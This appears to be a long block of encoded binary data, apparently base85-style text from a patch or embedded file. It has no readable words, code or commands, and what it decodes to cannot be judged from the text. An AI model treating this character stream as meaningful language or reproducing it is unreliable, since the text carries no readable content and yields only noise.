z$t?WcH$8pUItBi+etwO!tD5jkr|&((mleiWw-)I$`JBY**ANf__y^C9RcJ~UQpP*y zcq6e*2_olrqQ};ilr9KdXU>#P$`Orx?%xo3GzcT>5PK=E#5F?j+d%h#Fb%?f44^jU zEFYhb>pi~UH83po*i7fF=KdXr6@@3yZz!CrN7_AD5CxWJ~>#qK^Z7TqErPUk(%4gBHLh7uV^%739q%?a!MGa1ky zPzw~0*QH-{SXJSyPH%7+(DegrwAlAks%#pGu3h+7&{{|%3kH-((*Q?kJ{i0G=FYxs z#@@&su-uy8rUbRxaa`CM)dRaid#=393V0B@KO=@)vQ0ab63)B7n9)PZ4ml+5?cK4m ze0EvQTV`;A+lyl#TnlT_mmt5Qn5eZ&`eZ(k_ID3-d|6lU8!nFZLISAO-X&H|8}$`P zNZ0vK840id;E6t_&BWkN%sJFlzS#HFc^yiB6{YGi-ZQ)!?p5?+?ioTWzOICSE4E>n zTR9sObF@4YwL0D1?*r+#0xWjA@^%DWU3hKQF;k6BjL^=U%foJB->q&~6XYhnZwX9E zpsN1@qywk8($jR2aQ62Z0v~I6Z``Rp=BOta)kAmm-G@O?TjAn16LW;L!|79p+PRd0o13T~8Bj~JoN26I9 zVNh-Y5!$Y1l^$7fso5PlouOK6vFVxqRJwWKm2QT{WbBcsdBzeFOe*Ozobe<;l2)G8 z{=khsN~_TQ1nXV5+8UYr^kpg)@{D2QF3QDJh?u^`!m+g$Rx{iH(73UooGH0h@W+(nyjG1A>0-S00PmOqOrh% zZnTGvpmz@!KWNzLnMj()r(THfPriG#@s0m=V9EvbkvKWZbJT5$k{+dq=)Fzg?RfZR zYq@>e%-Q5I9%7;U{L0LqTQ+b54sl%$HOCh+P4y^Fz@R5h^+tNs+k*5t+#Au665sB* z^US+jjY-H~o{wJmx?uT2ce5gRi4&+B4-F+1tATS;=D8);7i18yS1195U^lehu=|p0m%2(mRxZk&Q0*v8llEmY3@&+q zyT|o9xrgbl^ySBIeB-ls^wab6fSvr@nDQy)d<7hi;)s6!hKr+<>*-di)U|5>hx&nm zf#J++yW$WtXbPKBshD?CnsTfYuv{$r{W5Y z{}At%gHFQF^Brj3K*|G-NSnRE`NgopT@fE}s88m4(9qsQ?j#+kA75JTqAS$YkTC7L z?tx%-+SMtX+%^ZIz0=BLKLLfN```qYJe`j^vvszO{ZAWr}4%jOQv{5bIxG$b>IEG=zy8z9t+N~l`3VOAv zfoAdv0VI=USN;fOtHZlo?k+8t{>i2%=@Q+>@50Q!bNS0N0m2bx_M!wuLak+A5Ycwn zA>fjOl5dtMt*Dw+(LeKX0p9kcrssx&_f>-#VtEgP?Q6-2ggt4c^{Ut&{+F1&-|+zW+n{^#5C@*?)?u|G&MgK@jNVJ`K8J$g%zR*(1+IH62`YT}+6) z@@38cJq_9f|5ug}?EmRF^Hg!dSH|_CVWH7`$Sc&Fz>K5~U>vh}?J1h=hu?I`Nu&>R zS5c)$WA26EQ2#(*Wgs_fOq}H(x1_!z3+_Pqyr0#FRdZE9JG>@0Q4MfhwN|Je8ciTI zA=iKX^}`;wWc;+Ys~}T4s>>0koQlN^QVk3%Y%g7Dio6}e7b+_Vuy8OR7Q})8S>}h# z-&40yf17dbXPQiqx!>b&Z3$`h_Qs#~uII>v{`eoCYs~)Fr5A!Uhshnp%*f^o#L#v+ z6Okv~ouCiy%9k5yR;gHUBWgQ6%9PA{uQPg6=DQ7YmPv^*uR{ethhO1s{g;82KBT@> zPk@5lalDgAZa8~Ufk&frqm|vf&HUqtTfPD@7JUo1T*SYF@>Uf7;(^ets*6Z>B1S@4u;+zI6l*!Zlq3OgcI)i>S8pGaE{^l#0@dm%s4>z$)J*wKgDi?ADfu67fd5 zFWcIE0UK4$Wmf<9g-uO~W*MeTm*(S?0-3Fuo;cM`2;4E`-p;gRqf8Uek)x*XjuS}B zQI5otnC$zPwYAp2EzX@2TVL?D`S~wHkjzWR7Tl$+`h0du&C34Vct^0JwL6#}us3u6 zHs5^_BwO*WQt)xox$2CGHLa)S{Hu5!s2l!Ow&Cs>VzE!8@v>Z`*~Zvb*D?Iz*qpA% z%pd#1s|x}=h=#xx-1 zhYtPv{K;zjENpLouCctE#Ij@&bN>e?X&L>0e$0*b6Jf3XG~Rj&Z`u55eS5WA-CvnF zdc{v2G1Dt&FU-pwb4K>I9}Xfv|I1Ka)d@FmJwQs547+v>pAwl=HlCmnzhb)lWJu`P; zmG!vUDfx+u&6_iqCWMwRpayVSKPWN4oCg-h-LOH>x7%c88in6lnc~u1ef*`~D)oG= z38{L;_u`YnIdQh9L*>V;LZG()ETd@naDv(P$KM6AYKDNKPDl3IJY3r9pY>HiU%?E) zIJpa&$K^>3G-aY%BHA01C@>r!;Hl+d%Rb)j(4|2!TRoq@ZxDriBguF*`TQ$0(R8LY zewDp^>C-%9$4YW4$?aXgzr7+jMFL|9u!(G*p4V zTfI`;Hw=KZZ^C~IpfF5kb#?gj9SZj@o?nff>D$9Z9W3>fA6@QOxEcIB!uZ3uiH-oo z^YmNoy!=I^4CN_M$D1EP#$WJUk{mAwYmdwGbjcczKI;`unu`$)tDb>occgANr-ne_ zBXihnQhW%pfmW$$+v7`h?P zxzpig;gsGgk&iv17ZTe$&GAA3Rk0(8&1ZEZ0jD?g)qO6ALT67*?xgXuBU_pxkD*&} zdkJU+ue2%cI?)MXy%v>7S3-M*mC&zv>Pt;i)pnL(v(Oq*i{KEtX9&(^VXa^PhvK5A z^4OEYHC+{a)XNiqi7;PgMxC`qT1?G9OEV;~f3LKi?<{7Wxu^R9i!q_zeP*-kl<@R% z#6`_2ndt<#7 zpmUtYuM(45@iEZzqNMb}BlKnY&1QXrgZ_c>)03(|=>tW-?CuzT zh31f;_qu%>YB@JN2`Nab3O5p$Q#?<^6*+f15;u1K`mqRG(l8`CtU z;w^KW#5nfCG3$1Y+j>**VM(HFnu4PC&ucf6>;)h1@j2)o<7dQ-ag$J|e;F9{(MpEm zlAq_rzV~tfzM5Md_tP{EKx=S_xMI(q zoHLW`fb7LOo(JOATxSxC@b-cF>eCkEaz}A1gYYn>x^X6lc*pd|s{A@qFAUD#5iVQ# zbeaTFu%b9@6AUn<;b%#N&apx7zt84WYX8Q3`!3^Bryi~&K1Z0j@(KW>$)v}*sS9us zXX+Er44mWy-W6cCHAm!-!7E|jOZ#TEBQRstxQg!Lxw~XvL;sfp-8~6$JvHkX4Z%$n zP&D!iDXjy;2~efOt>~Hw^d&6l;`WrEoySXW?5B4*4;|MRt@|?ku7KMt~(z1(P z=i0*53?_l&)@M%MU=nWsqc(fG?W~2In5DxD~RmzE`04u^xH3IFPz;!e@@Up-h2edN>KvPVssZK8VwYK*Fk`u>s?bBQc`?dhMJ0LjRV@&mXLz^hUxt6go&aQ2T|Z4Kql9{g zW-*~@uhxZ*M5&`AP&Y}%StaN;+d^T;yloBD>#`JB@~5-@NM3(~;!H?3SZ9qS9? zLqR)*L@_{54ZORjU~3?Fsf1EuN^0g6$oT$c>&5lO-NDI@F&_XpN#^G$fJ&u5H=V!* zr*@B_nCJsnXhI}>f+oBi(Y4=Y4pDtGC~r{cRz0}cQnA^jb3HI1eX;J5*i)`h6WMr- z*1rsq_bFKfmC0slqT?FR$CcqT+e*V4ZW4M?MyVY(sm_Ugd%9*8Prn82NIlEzsBuoX zBT>WTiw4t$+;EJP5TYyDXAEm=3}f=7->DhHO788o56Z^%9J2Cet0etQ)jpl+?qB~* z=YRq92ib~py>giF<8k->I%4HVf*#d#SIKDPTDal&M_7$iUSAH*`-a!~M6{WlHYJQs zQ|Um^1oJrVtQB^#5>u$S_`C7TZTd*vBuD-|WaUTgY&-29hD+to;C$T}3sfJNQ`2M> z#J+??Qfh+Nc0p~KU$@jz@!9&gEUsy@)?>Sis@A)?lSw+sQ+Uj-E zB~Gj9;xO>re;J5%XaZa9=+UlJ+lfg{P2DJ=ss2js_NCQkKdph+dA8=a5=&&H$59Lj z!PUwL>LW^Aw<1!;CxXsKl88d)Y3oNlt8T7Mv#8Iql71IEQIcVGZ5!*@WjT|J4MlhQ z%#K@=U@!>j0cXK{w$pYMDReKLyP;Y89h;S*iXfiF-)8VlHc46|DjIha}a-NAl!SoBi ziRJ_YJXH&Hg_71j2a8tG@}rYkdsQ?ns@ROId#hzf9+!(f0V%vr82EE%jR$r9SGFC7 zxJHhrJpNi)LVz)QS}nX}3x3}iJEB!SG(`$&`U+q4&u?0&^V5acQiYLhl$vtdnXzU| zV(4nc@@w7>bKd^)8QtQ0U#xpoehegE@5E>KO&z>{`n1oF`fN||Au1LrN?|5|-on`S zP=d3%kT2QQ-*c=dS=3^AANhOPq9O*;Jo>Ve~ zp0wb(nx#qL)x@S!q*@xG>P_?00@lyUZzp#4cO51xCdA%5*4eLz^z3z#DtPx8 zBY+x0sZ1h0P`7|!u<~U#P5VlV`3I{Sfi+R)zn5JQ8$v(N zB7~DQiO&wzKfUO#P>we^%RDKsD^70N{0+PKd-)&%&+;$B%qEDQ=UVkO06c@~u;Wt4 zgd=Z}Ty4had>-|FHiiTpS;xb-CYYu98wE~^-B;qvLfnep<;^-+?9J1=mR(PC08iF7 zo%3{gR-n)0UxqmV6?%UdWcy<}o$P}}eqXK+&VK1Cw4!peB=ndm>oxW6Hu_>EO3SVB z379QVJ`ToN`-8hA>WQT`*)$?PRk+4Rc3h?0j~6PF|5VIx558mvATxe|`XER5v<_+F zT!G-}CS*-(UR04zV*fpzaq=}J#csY^xc$eMPuI)`-bOqQ$}hqZpjekNow-?_DI94v%s@NAevwu*VsH`X0>c5f%erE?~6Z_>H(F}s@DryoxNBpeK=AhWl8 z#DJ{Kz2LAC!IR#E?{ogIk)%ByR}HoU;G@@iula#LlfGs$P3(~KI(1BO>&4~5#pq6d zbhT^Sa1@ji!VHQ5;)HG0I`eOk*6F3el}lSwq@{tO%(T1Jl35mAu_5dGa#C$bGeEM;um7<oXvZ=2Op1LO?S zyonM=^4QtW*Vn z1G)g=t*ats@@K_R_g?5IR)Ri;~2*1dwl!(f$dd%hHFg1&* zX}hSW`HRZaShcenh^yKh;v6A&)!{wu%u)*H#?avA>uYGhXv>9^r0UU>M)#T@1!yT6 zUZP;`*PPXBs$gC$v6M|u+|0P33lEpsbR|YrrPto03V5ncld}!G^3ZKd=O*{WnG(FcJmvmw!;5c@eD1#k&gnV6hX|m0M3lo%8V@K*24in`bhF9> zZ#(O?z%rz<_e4qCc7;?ZLcR^p15rf60n$b3aosfbhjeE>gl~Ko>y~<;1$|sC=y197 zrqjLK;;H9u--ZHORH_P%kpe4y0LYe>I4Dt7l*2X@$M*?GVtQghfuKIbH7M3q%05;% zkDVZ>_~r8*(=KT|X@6&Ub()e?N;9KeA+f9xhOnzQ9phlH+<~Q3AiO;}?Y+eF81?Xk z8Lxv!V?&mAWQ{C-0u~DuU<=#K`q{>^KeM}(A9^CS zCH)vLGkMmy8A) zXKAmz{&?akCe&LL*A^5X36-`c{CKTf0N){z(rof&>*iJXJzHBQJ%L*X4i8i6Zu&i| zZe?_XT>-{TRZ8`_s81Br66A}?3OZkp$bwtRvMt82+RKlRqr7nIi9*mKwQ&rK~i@GJxdI7d29 zeKZQ}xjYY^MHAm35k-_z8?o)4F*+wZ*c_B1B~!-v86GDV(X%2Hz$moYW*CWLBz5mrlcw!R zi8=0Ni*BHTN(?-V)9|8TKWu5>+KWD0CaEtS&JS_}tEzwrQ2>}~B1jShdRhM&UPQ5Pb$ z1l#D>DKF>f--~CHu62!VjqMg#7sYCdqnqL@FP~+LpZQbPQOgW~Bq%TgzM)^sd4}*inPG5FlfcS^`8I5sL;> zraQ@9?a!vXkA`DO6|-?`K17E|(BT*PTT9fVY(gi)1xS3!&je}j=g!*eiqCAX6)p5M$9?A`@$ z(-hB$Wq`iN)p)-UT7RYTyO%1mbDE8WQZ;}@(i*cPYZ+(=L^&)U&-*wxAJ7NMRcWW* zgG-(Pi-|9^%E(a^;QLs&36KgRo(iLasK$D_5CD_G{y{r8BqBrXyfo^)=1;nm@_pZ^ z$8IgQ&4JZvFHDFfFI$IjUbGUMlfT`e}cZ37~QDK82Z7Q@9#sBNpbu>SM5{ z(hnx~MbWYqN7P=!{7!sBE0dS{<)4@DU2Br(rT1VMkoqf4pmXw(yUkFZW-&@iGTcf8|p%#z&K@#ae;|20U-DxSgJzxCR$xT029{}AC)7QV`= z4DD=F<3iuCo$d{03&{&Ao;TPkR>7>l@H|j&o#v|~5$>q~C=-Q8%S2}k%TQxwYiF}i zZoH()6k>e&o0n*%+O^A&r~0Jfx6J^hK<=U3E2SxouZ$Wd$sX@2b*Q^!3CvsDwmN&) zJk)6Cvp5m!vCUzq&rm zi(Qb*e8S+Hkh8cxiZ0QU&g~il5v7C!`OSv(EBMR(RUuFpzd0;hjSne_ca!tI@ZPu$lv^)O%$AHvNCh<|Be`k?{`LMsknL(&u-IBwA6m%6Z zYOSl{&-y64WhE4+tmb+5jq=BZybve6c@sh%>fX|=YLMWMsc|b|J~E6sH1MCrpL3GHTyG2nRU7?3p8u5y&AjTr#6>Hv z2cHHXp{Ey~khNaoo=ii39wF5L2fE5IJ-r`hIh_VW%29o~64U_Rot!_sb9&L1mkR9} z&f0i9_6HaI{#L@w{Ce)1Mw5Avd34DmQ(dXw8s;8 zFIh$#N}5Xi%QlJ!`FHIPg)IAVWuns?z9o~B#r2fDq$eriZx~LJqA_Pw;KAK!Vl9rJ z(zwI zxz18pz9brxeG~Unp{*$6W@hDxq4$d~=SF1aL2P1~n$Bv5X#|f@t3jG(sn>M#PTCeC zNv1;cagwx=$tERJ?xYdMJ--MIw8f5;k($;7Xv*Ui%20MIVIVm4sw4cP8wp5guISFY z$pn9+)X({7$5GVVxrQiDuw8Bkvo5Md`#`Y(m?T&aFmv>=CH>xiR#1DI1O)#bFScC~ z=x5Xbnp1E!2um`&PxYp*U%XV5tIS|LXn2m<3X3A~O+^mk`ex5V5D=VN_ z0Xa zkb`8q-S3XLzdu5+Pe0gJxs_OVEk3=nu-q#X9ea{7?^e6FtWOH1>p~OIJGPVPqYNv` zcIWCYeg(tRHoyt&_1U^%g%bU|UwLU~HzBiCrJ8EQCaWxI+9)yP3f41nY zuq)J@!C7(}bf+)Ay+>qxtjoyH$l!(0CS+uNKuUe3m{dG&9E`wa1T44Vb9|rsb5hHlYs}+)Dw|+66Xj;?byCLOn#~jI!cz%H^jGM&>BO~BFk!u_ zGtW+*;alwkT~!6_>RdGdlcVeQKY;&uGL7EHEgJx4o3;07Z-30&@m{&)Lq| z!4N3&9k^IaV2rb6s`0e^mD^G-jPZag()!5p$;5{#-A*|Y zQ#k+xXFJOz)~=M+4@gT&33}Cs^`5dHE}bQZCHusIlb>gGl~-=<1^6`jmKEM^;3Y-f4UH&bhBbQbMjieedY;lzEs}3bB5to@lVW zTGH;01qmTaY_Z?IPE_vf1XM`v@94sB+slj(Vs%3Xz9E~U`WUv(vmSNt%mPJ2-KCU$ zf?;f+JMHcg)8y5^rHCd~?sdodPHnZufktDNS8s@GA52 zo2w+DjcwC$Tr2xWk7>}!#%m|1%T0l|nbJmIF|fx0jC#!}{w;*pbBUQ)6{8|3>)!#t zK6nx{lZj6~Fk>2cv30j)J|gh8_}-G9$j-D%yQA3Cp)VeVaq%Iry~SyzmqCpu)_y-` zyEE3Y#BaqP^-GxkU=&Y|PK>925xx&VX%>-Zo9vY*FJTdd_5p|i%!-!JTT3td8juqS38N~9q zrt>GgukjL0&#ms3@tgnN4|Iuj(nU!k36+57BO-83&j(}+#BmjOmb4bloqiFcmbzH* z{V966^7@yqacc&na@%P8{Y*gu?MNW3av)B*#mlqD6$XmaHX|t0v~1! z)aU(cM{MNN!1T2VvO0NL{L1`*gN)VMMBBIhuM5GH5X+a>N_aY#mARry2M5$6E zH538q5=uy-QUeJ{h!EoY{Lk9&K5LJ$_C9OxvBn&i$yFZW&?id*q9O+71mr+)fftc6k-|||(K??5TVVm}fK8b_Q=2Z^-a+MTdcU%Daq)k38C_@kYe>05vO|WN-f%6i!uUsF~<$l!_Fa4JBAN{@bD=rb%WkCEM z|6lgU<@&GmhJQVFgtL=5O*pB$29siXTlRPF&7I_c8|84b z&MT^Rdv2GJS5R4RTy8fvhvx1jTq|)@?0+Y6Um%UESwlzkQKRd>k56{kP>~7BsCLmqgFa^v3|Eh2Lue{E`XkKz<`aSW# z3G{SWgsk74Z!^!fz&x_`%p#u1sXd~7fuB#)3_>(H^PAxdkU%_70QQ8d<(2pCP*(yW zKCkJMWYFOe?QJh@QqjTv9>h=P-wXpEfpklY`-L6kcSy>w7@18UZOmW!owrhSV>F!$ z;SNiohvxrM1yL=Gb%oY{SrF(Bg9mR$DP_QhXoclBL%R20`@_F`4flkpzB=6uFbR0| ztYca6umZ2W&xrUokHG2w#~1ldnvS3{;MzZgkj;M;^8EWdnf~2t?3B5D{(Q8*YwAC( z_NTA?T?_mfp?@Y1`kyKH&oKBi4E_v*Kk?e1P!j!T82lLqe}=)IVen`7{wJ{jq;UT1 z4gTy6{_G9@41+&G(Vw8`&uZ`|DEbo={RxWx6(@V&J+68=HyU~^9Vk`jjzKw^n8SA1 z+4Ys3<7HI-@=N^Jc_nfk`91l+toVTC_f?zVo1%XnD)xcc#8VzLjX9@zLa$%0$iG+n zu=%us*=xy|Q=JxBqh!w$3w*X3NV9v!=MP#HP@`T88x5CxEFQSERI6lpLKeQG;OItE zTRoG50O6)eS%rQ#Eu_`Y)41CV_fvixZwKxbmh%Q2d8KmUG1ri{V-(%?!wf5!6{SCN$!O4EdsGEvlA z0t_xd(*%&stO#qUm>L*ukzaSOY^mFm+pBdE={3g7UdGqi%cYJ^4mraHJX00 z<=TMPhH!z+%2{vzhYXJjNOz8Tk0-c2Ro|CJGE%n=3}{yl^L;P)aqzF5*ssbQ2Im)D z_X!Nvxmdud9*kg(oT#425Rii%+ z(=bYI60(Cu{=N5Lws~D0j)*yno|Lx(Ju%}uPmM{_~rSk6U!7a-(?QiEY z6@DCL9Z(x!)A?X~FdpAULdW?6u3kR3$u2SSM;EiItZ#(4s2vUNm%6qxXL;=2gT(M7 z$HR|QV^X8Ix3_wL`p;X-T^(A`D9|YycLnVRIjSKIi=DL`7S3phJo~W6OTP3}?D(;x zdJ~<({oE6@v(&v}+M_JU7cXBs{jLrfQWaUJ+Eu+U%-eH0{7Zi_O7?>RSB66}06*`y zZWgYQ$=lNnw!w2?)*rNxol!V!L_V7`Ds~!vw%J3==fQ_;4I5W4@zET%rdP=`_w@8m z*08KK+f^+RNN7SEDh}AKe4U7c#tP(O(M5>+Yb|e+sGbGC*V{`Ms`nxP&U=jnvhZi4D9#`u` zPYUeyL1H?DsCTgf4Q#g&T~dd+K=B_&oF`lGZO8TE$H#UgT^>9T6-FNyT6*d#|2%`6 zlvGBnE_Z``rJth~keYf#PLfnmN|(M;Gq+ur00P#`mu_V!4(g{x$6C%bMm2fYLMx%S*GuA8L2grKk$kFpJx*SK@Yqs`W51&&HdZ zB}GX$R48{Ngjt!!lPx@wmnVK&e8%#j+)jXnsNKd?hb0uNJ6MZ6UFkkUUTN{EVub<~ z)y6(PqK~8aUxszArYF{{V*w$HE1>lsX{dpLY`!Q1#8nzbTgu*(%B*$AMN_t?;dX~54Dkk`>?SkDM+_`AJmvyZlaAptA z8m`FvP>4h|VE_6W2!3U3ls!YZ$GR5htq`Mw0RJJ6(s)-f7%uMR)w>gk1_o^POWYTG zrJLRfk5;Z!nVhAj=#pY$c0pX!?ejJ5-%>4H@&w#7>WON10WqYFj1v&P++y))L@-vB@ zvG&Z%e=9kt^DN!{uF_aVDnTsPvtrLevXj8=@d+!`ahaOm``kYQuMqwm8(lv)aMISj zNj;-yr{qZO|2_5%DHdFmjLTbY#Uv9>xR@uLQWYgVsck+`o( zq<`YxMsI8#SWrDENo4&*C2iJ~Jr#3%Ue{BqGiM_xR4);;WZi^E^*WhypDs(CQXH1# znL_)l?MoNF_**r(MW2Y=Au^ZdR~f8M6ICM<#p`w4p4GbTk+YN#?j4g(BnEPgS^+RFaGT8q?s+Waj&xp(mlB)1R=QTxpyrAM zgY1X!PcA17G(u&DL*#B4yP}^K#$Wh1WhktpfSf$uO_Qhz6vjCe5JCRV;8fQ)E!z>NuIXGT=%*ZPLrKFO0} zU^(~b+6dP+yGm`^FJS7=zd2^_v!oplKTAzT;6qfq&yGsaPftsIX}GMUC)(7AWhA1?yohRcg{NBJc_yCCOm<5nQT zXy;DBEd<>Lko={v{F|?A-S*qx@J^>Cr|CRPknp5dGTCs2O4s=GiCi29c;d#8zUK$( zZY{zu_oL=+M(dxp5lbB`{~l|mCcOS)3M{jd39wP1B`G=a*t>+>z3crLAHXp}UXY3%nU9DnSqaWcaz+vO-+Gk)l#}1N@5dsE-e)}J%M$umZa&oJiJe-sJR&dE*$q*xjYYAj_};<8T>0*d zg9{PPKA~5!t@*9>UZpQYs&!#ao!W_+`TPJWoC}L_d*Pe&n}&jY`a!T+nZmw81-#TAht5y}8vZ6Y>hHdo!nD_;L8+F^L=I(?LFQukO1`U z`wGdLUio})NsKW0?=-pdFQC}oN8jNiSq_7TFFWh5eiGVR7+t`qn!Eh-Z5oVx+Due3 z)fGJ{jeMc$eV`L;ltpk_?$i#avow$;H^bcALXc|$$!}$=iQ;W1#|q`I5WlxH>PUPG z{dmu~T1^J?fIp1!^mTb^9t+DUP}R`)If4KDa@1PgyeQ-X%Y_zMZ{UQVtkhfHO+b zqA^6(y_~jsx08)im_(C7!#=f<8@D$5Is6LSW^i{tkhN_|mZHIx)&bcQ%*jVal~*4qKRhY@?s?Qt0jH>u5?_Ppaek>69 z*YM(yJtl0ymL$E`+`W#-wI>Bt7iRh0C!i8r1Zv4mT$>I&okXnXQ zh~g2@E5ZMAiD&b%tp8Gd>I{E^{bJ1JV@#VB+jDYXEVRho1mUty6Asr7(Y6VRsr!~Q z8%mPN7jB+c>5ykG&Ug|zJ4k-B%Qb0fOL_i(;|Ok{@#52M+aX^kTOG&rj04L;!7?xe z9@*_mKTp$&C)|JE8c*DKn*knH?rBVs(9_gDVQnxN4*MqZk~qm>QrI?!Q%IoM5s-|Q zuq-r~JHPXJ@6eq(*FD9AI5Ep_kM-owD#mdgV<=30^X!sI@t3Lkf1BQYNL%>)$PQ_a z(@jy5c{;cxudVL=nA|f7p1YY?<@?%!$H>t_0zch7E&uU6@jsaZ>=npm1j(|_Ruh&5 zyVW#z$6mPfMB8Nnv~)s$$hBKHi5Z@Qd60{j?mUk-gxpjFq8I5Hw1{dtfg2qvL9+V{ z=SeWIq0-E~9?T8++daU<`n#w}SK!d$9JYs2it?Q@qZaQ2>=FG&J*%}pd;>uYep=$d8ZYNY#>&*iYtr~ z+!zP=2VbxV-eG6yM4A;()jI-6@qddJ|3PieKV{7ESA}wSJ}|3BcGIN+T%H0^VPo`H z+%FJjQ4dRrne7-(fhr2`nDLeFa{6mMk4Fahc{+M16Tej)ZEy3Gt?j>Fs25tN$oYxk zRQf7JgQ`u*Au055B*>9ao$mX^reBBr_uHV2UkA4lQPRlK#>pP?1EoPz@ft1ltTy*9_6OF^Aj77 zEzi|Q5*%%9)tpk`I-m=m#MS1TrvMB>?GPSZ_Ks>|F$N8m!MC&BGa?G!y*MJ4F6b1m z`zaHwXXDzZ|A+-+bw^$aT#MVp98}J(2H8_~8WJ5}<8q;u6+ttNBQwMxYq~}ACYQzV z;)TPv%7O@fclc4N%Tl!wS|B<69DODY1KS|ViP)y{=1Plw$0*jbn=pJ+Sp-VW^m{{i z@qGyaQBA6cL|apemW%?@;T^RS zcfQ>0Q6gimY`VT@nI8#t{2?=}a#Q;XZ-uoUuIVTTjhg~(B1Lq(dA0=l-C-R(8o zNWUIT{b+bCC+F#O_47Fk{hjl7*-iEBk4OkT=j{R|U^x2N7?;h*t841#h$^cae#TdR zso2ii>F=eYy;tUaMWY@LDp$Y6ubS@n8d$6QSy*7!_AFL?Yg~*JyB}0;h$#fwCy&g{ zVn!C8{M33Bzl}`*@hE9Wws6-}yt7_#w`j?oe-3|L`nBw}Pf&ouLeg=aiL{W=q0=0> zR4654a;{InBD_NiCVr2kwH(VoVUUN1ZFzc?*gg`My>{ZeXv)io@M}`38TuD{&5DSt zUF4Z}t&J3m)+QUNhn24#R;MV6S?y)|P9Zf!CwP|o^7tgMm@Ys4Z~6}WZ72B8g|^Rk z9~7nmLD>4HVHChixK#MJ$~C6g2)bU94SfOi)6TcM#OKm~sF;lV`4f_w#sj2+`~K7L zx~N)Gdi@&c_tgJpDbn9QjqULsWSl(@;CbVb!VP=3gl2Xb3O_-b;SD$iHgLG3s^PeD z%qsS-v727v+VH(%q*S57NVVm?hziqLx!E1nK4S$s|4y&@ZwA2*kcn`W`eqT-0S{tJ zkM;AnUH()Uwr{19H#Zkm!yJWPqLQNmr#oo6fA6CM^n*=A5d38u?$f zlDMBVZSkNhY$t+=QjiQ+S!9Dl5y!#9Dms$2>D0{o+mW_IYoh$F2-6?Sru{2z~ zOj~I2fkJbp-WSHpbZb5RXLId#A=;yWFcM$cOUoQ<}d(M?7$l zIYn!Lk_iXHN1x9`Djg&1eeejtThx#9tjZ?My?PR+qZvOS!j(C2yi{Xm!CEDU0_CPA z+@+%rc<10iu8I@X5QxHvJkUilp3LXrbA0%KL_t`AKH`e5B^8?GZ^AIMTm=$yTk`W$U6kySj`LE z9hE)~I3zpuxy`zbhcS4b7{93>j(MDkcieH&JnfTlF_k_wvmBj(gJOADW8Xy>sqF|dE5(%h zYiSP4X-LpOFn?X+$+n1A~`>b|^HHb|d$hR`=7bSF-_IinkL>JY(g9CnDiK$1MEkecq&RascKJpuYS% zXpbE)-mWGy*bZMQd`nCG`Zz5%t?vR}=4e%xMkc?+DT77Za=xK7LlL8;^{u%G!0$K- zw6vH`nlqX9V+D-uv^08ItF3$4-=y6vaBOaP6g=?6C@?6^L|%vQqQtib2;B5}zA=3O z#qBqmn9oSlCV;p$=nMCK%GRQlzl!`AbcyVL@KoTYnLpD>{#b@nCs)AQRA_e->ZGP0 zUT{HvkYH9vN^TNv_}NHq|1AAvS<>-kh3`E>HD-2qlUXe8EC46f#sQ$Q(hbP`>W3k@ z@8dO7*_&$?dH0HHdR@LoZky@_4*TWvC>fjd0FWprT>Dv2y}No-%&w83LBPAfEMApb zeF3j$?^<(#>G=4)YgIY68166I+Ort9{Ke6K| zMYw>d*Rz%^!bPb8<+(Q3n#SdbM5xs%6OC({&94a(ufFYM?3Lc>8(fa3v{3c_0*<2r zk{UJ|%o9D)lfC%?@1f29A^)?1eTcPDLPA`sSp+fpI=3QC;;j12!ql70CIQX59(^3N za~;7Q>^O6-ZcJdC@BED4Jyb`FjqWyatffBr$eEt_D?L#RZ!Cteb=4_}ZIG&9{lhB1 zLv>>z>SCXCuwwB*nEI-^uT+1YmjU*v89zKKOnS&Z2q5h$QeIP2$+dlMbUuY7FfaAq zG~du0nHwEc@m%YwnT|zP{KzMn(XBY8c)mth*1aK~~z>ql>nYozs~UJX33@F{j5*h+ZrDZho~Z zrKP-b7tzZRZLfS-f^Z2dfT0ajK7rK~lkW7*5i82i=ahe)H;{WZKbKT>K4$9*qvP2; zR(V#cHQPuQrD?o=0YY)5rntS+OF3nIbZT5CF-)uQ7wODqZC_+in4QbUFGSEg+A*q6 zg}dyipAXKM$I5Qxhrfqf+%uDVzZrta$mBM+Qur(i)CM}5-{(}yb7LQa}EkSCczMz z_>}#~MfLpn`>v3a+HOP(GitIq`V&Y{Q(jXwuu>y-seW>U;2J*P%9skA4L1mX92odz z+CS7ly?kIjL`s9s_RUz3g7a9@O|ov+lf4eIQ0e+l7ats(y_WLXb+E@)xbh4xH=6L= z>a0F)t`fygvp>v-U-=s7-;~c!yCNIx#$9i8N_DTyIDUU|eefEW(Q@-Vwf`D#^XR-b zpC2nx3MZAcYpf73_k?z}($;1}4XQ3ee#)o3E!71IM+hsl-6z!|5-9s3S#N0q z<2AmAa!Qp=tvTi`9uGdm2kPirrb*uqxV!jJTVC+{!Hntqx+&j-T!p)_#vXyEGIx3w zL@qq2te{*pD9^Fb75|a{wa#dwK7Td{_fz1}MKt)8SFsH3{`{~+ZCX(7hCVJi)M60D zf+OkWlOUA0q^!g(8$;k90)*2_?(;2MjP51N)Q2hJK1H##dLfM$8Z%}~xg3=C!yMYx zAd&~LUWEGsCPnH;8+yk`=-Bg9)f>i%yz=8wZH*Zj-?wvTW3Pv9zw7a2Y8pd57Tlsb zfzAY~6dQS*O8j9;9|F-Fld;q9zzB&&649AJ@2u2OD)z^AF6m zH}X2TTB%T3@KJh?@i`NoCy8rJ-44tkH+8k+hQI8@8;cOCS2b*%;_t9+KIfDOCuEE7C^+W)6VN0R=Np z_>S_z5_IzxF+bhYa)SKB12R3Di?B*|=bv)ler-7*W*I7-zHy=iz^;l?N6E+02v(X6 zDR2EoG=zD6O;ypbrmf>{9#Jg$Lh!4*uTSX+hn_0(=0EBKptfT=w4D?{bF?-thtiWolhZ+Ax~tHsCIhITVMG;Q8&oO$Sk4fQT9JAlB)1QrWhksE^D z)*%&eYZ=vs7a0)U7u|xVH4^jcQK!!tD^RFZD@1AOToSY^dn&p3F2S$*ow24Q`nu-) zk*yS+xDLtStJG1_D4}7Q$V8I5Sx@#u#r^yWoIP{FoP&BMe&pF);$i(Le;#bCy$i%!o$7+=cK?|(xLE0p$&#Q8w^oMu1D~=-!pM2SyLJG{JGAe`Dr>wxY$BZ z|AEuV4=+Naj()WWg&7%5C_$*wJWZvp(=RNoI!U$M@rxMAXug?)JM7%2kDC7E{%O%w z?LzRcsG*K?Bs^!&DsuCG-l~fWtp7!uRq);Dka!bV>*-mjm?r+{^QXQ7z2H3~swV&) znp3o-B2{vmx|-}6Q*?pAe>8FvWwYXZIq;l`8k}f2@5s`p>Jo3b1@G3JAlNO85+%uL 